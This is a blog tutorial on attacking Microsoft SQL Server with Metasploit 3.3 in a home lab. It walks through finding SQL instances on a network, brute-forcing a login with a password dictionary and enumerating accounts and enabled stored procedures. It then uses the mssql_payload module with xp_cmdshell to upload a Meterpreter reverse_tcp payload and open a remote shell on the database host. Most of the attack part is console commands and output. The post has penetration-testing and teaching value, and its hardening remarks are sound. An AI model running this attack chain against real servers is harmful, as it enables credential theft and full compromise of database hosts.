Now a days hacking has shifted from attacking systems to know how they work or for the trill of getting into a system for the sake of the hunt but many hackers are doing it for profit, in fact many companies around the world and states are employing hacker for information both for political and financial gain. One of the places where most of this information resides is in databases and one of the most popular databases in enterprises and governments now a days is Microsoft SQL Server and on this blog post I will cover some of the attacks you can do against this system with Metasploit 3.3.

The Microsoft SQL Server Product is in fact a suite of products compromise of several services like reporting, integration and others, in addition there is large number of types depending on the version like for instance in MSSQL 2000 there is a MSDE edition for Desktops that is small and lite, there is an Express, Web, Standard and Enterprise to mention the most popular with MSSQl 2005 and 2008 so in this blog post I will focus mainly on the Database component of it. MSSQL listens on 2 ports, port TCP 1433 and UDP port 1434, server instances get a random TCP port and this port can be obtain thru the UDP port 1434. It has 2 methods of authentication that can be configured SQL Authentication and Windows Authentication. This 2 methods differ in terms where the Account Credentials are stored and what policy is applied to such account. In MSSQL 2000 the SQL Authentication is one of the most abused methods of gaining access to the database since it does not log authentication attempts by default, it is clear text and one of the most abused methods is that by default there is no account lockout of password policy on this version on MSSQL, now on the most recent version SQL 2005 and SQL 2008 this differ in terms that the account policy being applied to the Windows host where the database engine is running, I have seen in production environments DBAs (Database Administrators) disable the policy checks for SQL accounts in the latest versions. Another one of the drawbacks of using SQL Authentication is the presence of the SA account, this account runs as sysadmin on the Database Engine and thru the store procedures on MSSQL it can execute command against the host OS under the privileges under whish the Database Engine is running under. As you can see using Windows Authentication is the way to go when performing hardening of a MS SQL system and making sure developers use Windows Accounts. One important note is that when the server is set for SQL Authentication it will also Authenticate Windows Users this is known as Mixed mode. In MSQL 2000 and 2005 the local Administrators group is given the sysadmin role by default and on MSSQL 2008 only the local Administrator account is given permission, on MSSQL Clusters the service account for the Database Engine has to be a domain account and in many installations I have seen this account be part of the Domain Administrators Group. This information can be of great use when doing post exploitation on a MSSQL host. Another important part of MSSQL systems is that they come with a large number of Stored Procedures that permit Command Execution on the host, modification of the hosts registry, File manipulation, sending emails and many other functions as “Features” making the post exploitation aspect of   MSSQL attack a very interesting one.

So lets start by finding all host running MSSQL Database Instances on a network for this Metasploit has an auxiliary module called mssql_ping, below you will see how to use this module and see the options it offers from a msfconsole window

 

msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > info

Name: MSSQL Ping Utility
Version: 6479
License: Metasploit Framework License (BSD)

Provided by:
MC <mc@metasploit.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HEX2BINARY /home/carlos/framework3/trunk/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_USER sa no The username to authenticate as
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

Description:
This module simply queries the MSSQL instance for information.

msf auxiliary(mssql_ping) > show advanced

Module advanced options:

Name : CHOST
Current Setting:
Description : The local client address

Name : CPORT
Current Setting:
Description : The local client port

Name : ConnectTimeout
Current Setting: 10
Description : Maximum number of seconds to establish a TCP connection

Name : Proxies
Current Setting:
Description : Use a proxy chain

Name : SSL
Current Setting: false
Description : Negotiate SSL for outgoing connections

Name : SSLVersion
Current Setting: SSL3
Description : Specify the version of SSL that should be used (accepted: SSL2,
SSL3, TLS1)

Name : ShowProgress
Current Setting: true
Description : Display progress messages during a scan

Name : ShowProgressPercent
Current Setting: 10
Description : The interval in percent that progress should be shown


The 2 options we need are the RHOSTS and the THREADS options. Lets set and run the module against the network in my lab.

msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.1/24
RHOSTS => 192.168.1.1/24
msf auxiliary(mssql_ping) > set THREADS 10
THREADS => 10
msf auxiliary(mssql_ping) > run

[*] Scanned 026 of 256 hosts (010% complete)
[*] Scanned 052 of 256 hosts (020% complete)
[*] Scanned 077 of 256 hosts (030% complete)
[*] SQL Server information for 192.168.1.108:
[*] tcp = 1433
[*] Version = 9.00.1399.06
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = DBSQL2K501
[*] Scanned 103 of 256 hosts (040% complete)
[*] Scanned 128 of 256 hosts (050% complete)
[*] SQL Server information for 192.168.1.156:
[*] tcp = 1433
[*] Version = 10.0.1600.22
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = DBSQL2K801
[*] Scanned 155 of 256 hosts (060% complete)
[*] Scanned 180 of 256 hosts (070% complete)
[*] Scanned 205 of 256 hosts (080% complete)
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mssql_ping) >

As it can be seen 2 servers where found, know I like to corroborate always my findings with other tools so I can be sure I’m targeting the correct targets and the correct versions, for this we will use the nmap por sacnner with one of their nse scripts

carlos@loki:~$ sudo nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Starting Nmap 5.10BETA1 ( http://nmap.org ) at 2009-11-26 21:25 AST
NSE: Script Scanning completed.
Nmap scan report for 192.168.1.108
Host is up (0.00071s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
123/udp open|filtered ntp
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
1434/udp open ms-sql-m
| ms-sql-info: ServerName;DBSQL2K501;InstanceName;TESTLABINST;IsClustered;No;Version;9.00.1399.06;tcp;1033;;
| Server name: DBSQL2K501
| Server version: 9.00.1399.06 (RTM)
| Instance name: MSSQLSERVER
| TCP Port: 1433
| Could not retrieve actual version information
| Instance name: TESTLABINST
| TCP Port: 1033
|_ Could not retrieve actual version information
4500/udp open|filtered nat-t-ike
MAC Address: 00:0C:29:1B:83:F5 (VMware)

Nmap scan report for 192.168.1.156
Host is up (0.00073s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
123/udp open|filtered ntp
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
1434/udp open ms-sql-m
| ms-sql-info: Discovered Microsoft SQL Server
| Server name: DBSQL2K801
| Server version: 10.0.1600.22
| Instance name: MSSQLSERVER
| TCP Port: 1433
| Could not retrieve actual version information
| Instance name: TESTINST
| TCP Port: 1123
|_ Could not retrieve actual version information
4500/udp open|filtered nat-t-ike
MAC Address: 00:0C:29:38:20:33 (VMware)

Nmap done: 2 IP addresses (2 hosts up) scanned in 2.79 seconds
carlos@loki:~$

As it can be seen by the nmap scan there is a second instance on each of the host files, one special note is that when you run the nmap scan with the ms-sql-info nse script that the scan be a UDP scan and nmap must be ran as root. Another way is to use Nessus in command line mode with the plug-in id 10674

carlos@loki:/opt/nessus/bin$ sudo ./nessuscmd -i 10674 192.168.1.0/24 --max-hosts 25
Starting nessuscmd 4.0.2
Scanning '192.168.1.0/24'...

+ Host 192.168.1.1 is up
+ Host 192.168.1.2 is up
+ Results found on 192.168.1.108 :
- Port ms-sql-m (1434/udp)
[i] Plugin ID 10674
| A 'ping' request returned the following information about the remote
| SQL instances :
|
|
| ServerName : DBSQL2K501
| InstanceName : MSSQLSERVER
| IsClustered : No
| Version : 9.00.1399.06
| tcp : 1433
|
|
| ServerName : DBSQL2K501
| InstanceName : TESTLABINST
| IsClustered : No
| Version : 9.00.1399.06
| tcp : 1033
|
|

+ Results found on 192.168.1.156 :
- Port ms-sql-m (1434/udp)
[i] Plugin ID 10674
| A 'ping' request returned the following information about the remote
| SQL instances :
|
|
| ServerName : DBSQL2K801
| InstanceName : MSSQLSERVER
| IsClustered : No
| Version : 10.0.1600.22
| tcp : 1433
|
|
| ServerName : DBSQL2K801
| InstanceName : TESTINST
| IsClustered : No
| Version : 10.0.1600.22
| tcp : 1123
|
|

+ Host 192.168.1.157 is up
+ Host 192.168.1.179 is up
+ Host 192.168.1.194 is up
+ Host 192.168.1.232 is up
+ Host 192.168.1.239 is up
+ Host 192.168.1.245 is up
carlos@loki:/opt/nessus/bin$

As it can be seen each tools gives a different level of information, but I have found that one of the fastest ways is to use Microsoft own tools, the Microsoft SQL Server Management Studio that comes as part of MS SQL 2005 and MS SQL 2008 is on the fastest at finding MSSQL Machines on the same subnet and also helps in identifying any other MS SQL Services that might be available something that the other tools do not detect or look for.

we start by bringing up Microsoft SQL Server Management Studio and in the login box selecting to Browse for More servers than the ones local

image

On the Next screen we select the Network Servers tab and there we will see what it discovered.

image

Now for our next attack we will do a brute force attack but first we have to find out if the servers are configured for SQL Authentication and here management studio comes in to play again, we can select a sever give it bogus credentials and the error message we get back will tell us if it is.

image

When we get a message that says the user is not associated with a trusted SQL Server Connection it means that there is a miss match of protocol giving us the information that it does not support SQL Authentication. If SQL Authentication is enabled the message would be login failed message

image

Now that we know whish server to attack with the brute force we can choose the SA account but since this server is a MS SQL 2008 we know that since it is disabled by default we might have to try another one if SA fails, in our case we will assume we got the user meta from an IIS 500 error. in Metasploit we load the brute force login module for MS SQL

msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > info

Name: MSSQL Login Utility
Version: 7185
License: Metasploit Framework License (BSD)

Provided by:
MC <mc@metasploit.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HEX2BINARY /home/carlos/framework3/trunk/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_PASS_FILE no A dictionary of passwords to perform a bruteforce attempt
MSSQL_USER sa no The username to authenticate as
RHOSTS yes The target address range or CIDR identifier
RPORT 1433 yes The target port
THREADS 1 yes The number of concurrent threads

Description:
This module simply queries the MSSQL instance for a specific
user/pass (default is sa with blank).

We have to give it our target host in the RHOST variable, the username to test in MSSQL_USER and the dictionary file in MSSQL_PASS_FILE. The THREADS will depend on the network connection and load of the target for this example I will leave it as it is but I tend to start with 50 and the reduce in increments of 5 if I get any error

msf auxiliary(mssql_login) > set MSSQL_USER meta
MSSQL_USER => meta
msf auxiliary(mssql_login) > set MSSQL_PASS_FILE /tmp/dict.txt
MSSQL_PASS_FILE => /tmp/dict.txt
msf auxiliary(mssql_login) > set RHOSTS 192.168.1.156
RHOSTS => 192.168.1.156
msf auxiliary(mssql_login) > run

[*] 192.168.1.156:1433 successful logged in as 'meta' with password 'meta'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mssql_login) >

Now that we have a username and password lets enumerate the MSSQL server with the enumeration module

msf auxiliary(mssql_login) > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > info

Name: Microsoft SQL Server Configuration Enumerator
Version: 7226
License: Metasploit Framework License (BSD)

Provided by:
Carlos Perez <carlos_perez@darkoperator.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HEX2BINARY /home/carlos/framework3/trunk/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_USER sa no The username to authenticate as
RHOST yes The target address
RPORT 1433 yes The target port

Description:
This module will perform a series of configuration audits and
security checks against a Microsoft SQL Server database. For this
module to work, valid administrative user credentials must be
supplied.

msf auxiliary(mssql_enum) >

We will provide the username and password we found in addition to the target and run it

msf auxiliary(mssql_enum) > set MSSQL_USER meta
MSSQL_USER => meta
msf auxiliary(mssql_enum) > set MSSQL_PASS meta
MSSQL_USER => meta
msf auxiliary(mssql_enum) > set RHOST 192.168.1.156
RHOST => 192.168.1.156
msf auxiliary(mssql_enum) > run

[*] Running MS SQL Server Enumeration...
[*] Auxiliary module execution completed
msf auxiliary(mssql_enum) > set MSSQL_PASS meta
MSSQL_PASS => meta
msf auxiliary(mssql_enum) > run

[*] Running MS SQL Server Enumeration...
[*] Version:
[*] Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86)
[*] Jul 9 2008 14:43:34
[*] Copyright (c) 1988-2008 Microsoft Corporation
[*] Enterprise Edition on Windows NT 5.2 <X86> (Build 3790: Service Pack 2)
[*] Configuration Parameters:
[*] C2 Audit Mode is Not Enabled
[*] xp_cmdshell is Enabled
[*] remote access is Enabled
[*] allow updates is Not Enabled
[*] Database Mail XPs is Not Enabled
[*] Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*] Database name:master
[*] Databse Files for master:
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\master.mdf
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\mastlog.ldf
[*] Database name:tempdb
[*] Databse Files for tempdb:
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\tempdb.mdf
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\templog.ldf
[*] Database name:model
[*] Databse Files for model:
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\model.mdf
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\modellog.ldf
[*] Database name:msdb
[*] Databse Files for msdb:
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\MSDBData.mdf
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\MSDBLog.ldf
[*] System Logins on this Server:
[*] sa
[*] ##MS_SQLResourceSigningCertificate##
[*] ##MS_SQLReplicationSigningCertificate##
[*] ##MS_SQLAuthenticatorCertificate##
[*] ##MS_PolicySigningCertificate##
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] ##MS_AgentSigningCertificate##
[*] NT AUTHORITY\SYSTEM
[*] NT AUTHORITY\NETWORK SERVICE
[*] DBSQL2K801\Administrator
[*] dangerlogin
[*] meta
[*] Disabled Accounts:
[*] sa
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] No Accounts Policy is set for:
[*] dangerlogin
[*] meta
[*] Password Expiration is not checked for:
[*] sa
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] dangerlogin
[*] meta
[*] System Admin Logins on this Server:
[*] sa
[*] NT AUTHORITY\SYSTEM
[*] NT AUTHORITY\NETWORK SERVICE
[*] DBSQL2K801\Administrator
[*] meta
[*] Windows Logins on this Server:
[*] NT AUTHORITY\SYSTEM
[*] NT AUTHORITY\NETWORK SERVICE
[*] DBSQL2K801\Administrator
[*] Windows Groups that can logins on this Server:
[*] No Windows Groups where found with permission to login to system.
[*] Accounts with Username and Password being the same:
[*] meta
[*] Accounts with empty password:
[*] No Accounts with empty passwords where found.
[*] Stored Procedures with Public Execute Permission found:
[*] sp_replsetsyncstatus
[*] sp_replcounters
[*] sp_replsendtoqueue
[*] sp_resyncexecutesql
[*] sp_prepexecrpc
[*] sp_repltrans
[*] sp_xml_preparedocument
[*] xp_qv
[*] xp_getnetname
[*] sp_releaseschemalock
[*] sp_refreshview
[*] sp_replcmds
[*] sp_unprepare
[*] sp_resyncprepare
[*] sp_createorphan
[*] xp_dirtree
[*] sp_replwritetovarbin
[*] sp_replsetoriginator
[*] sp_xml_removedocument
[*] sp_repldone
[*] sp_reset_connection
[*] xp_fileexist
[*] xp_fixeddrives
[*] sp_getschemalock
[*] sp_prepexec
[*] xp_revokelogin
[*] sp_resyncuniquetable
[*] sp_replflush
[*] sp_resyncexecute
[*] xp_grantlogin
[*] sp_droporphans
[*] xp_regread
[*] sp_getbindtoken
[*] sp_replincrementlsn
[*] Instances found on this server:
[*] MSSQLSERVER
[*] TESTINST
[*] Default Server Instance SQL Server Service is running under the privilege of:
[*] NT AUTHORITY\NETWORK SERVICE
[*] Instance TESTINST SQL Server Service is running under the privilage of:
[*] LocalSystem
[*] Auxiliary module execution completed
msf auxiliary(mssql_enum) >

Now we know what stored procedures are enabled or not, accounts, if policy is applied and a wealth of other information to continue our attack. One critical piece of information is that the instance is running as LocalSystem so we can get a shell on the system since if it was Network Service we would not be able to to start our shell, since nothing beats having a nice Meterpreter shell lets move from SQL access to shell on the host with the MSSQL Payload Exploit module

msf exploit(mssql_payload) > info

Name: Microsoft SQL Server Payload Execution
Version: 7236
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)

Provided by:
David Kennedy "ReL1K" <kennedyd013@gmail.com>

Available targets:
Id Name
-- ----
0 Automatic

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HEX2BINARY /home/carlos/framework3/trunk/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_USER sa no The username to authenticate as
RHOST yes The target address
RPORT 1433 yes The target port

Payload information:

Description:
This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable
to disk and the xp_cmdshell stored procedure. File size restrictions
are avoided by incorporating the debug bypass method presented at
Defcon 17 by SecureState. Note that this module will leave a
metasploit payload in the Windows System32 directory which must be
manually deleted once the attack is completed.

References:
http://www.osvdb.org/557
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0402
http://www.securityfocus.com/bid/1281
http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf

msf exploit(mssql_payload) >

We set our values including our payload and we let the exploit module run

msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(mssql_payload) > set RHOST 92.168.1.156
RHOST => 92.168.1.156
msf exploit(mssql_payload) > set MSSQL_USER meta
MSSQL_USER => meta
msf exploit(mssql_payload) > set MSSQL_PASS meta
MSSQL_PASS => meta
msf exploit(mssql_payload) > exploit
msf exploit(mssql_payload) > exploit

[*] Started reverse handler on port 4444
[*] Warning: This module will leave fGDpiveA.exe in the SQL Server %TEMP% directory
[*] Writing the debug.com loader to the disk...
[*] Converting the debug script to an executable...
[*] Uploading the payload, please be patient...
[*] Converting the encoded payload...
[*] Executing the payload...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.156:1708)

meterpreter > sysinfo
Computer: DBSQL2K801
OS : Windows .NET Server (Build 3790, Service Pack 2).
Arch : x86
Language: en_US
meterpreter >

I hope you find this post useful and of help, this is only the basics of what can be done to and thru a MS SQL server.

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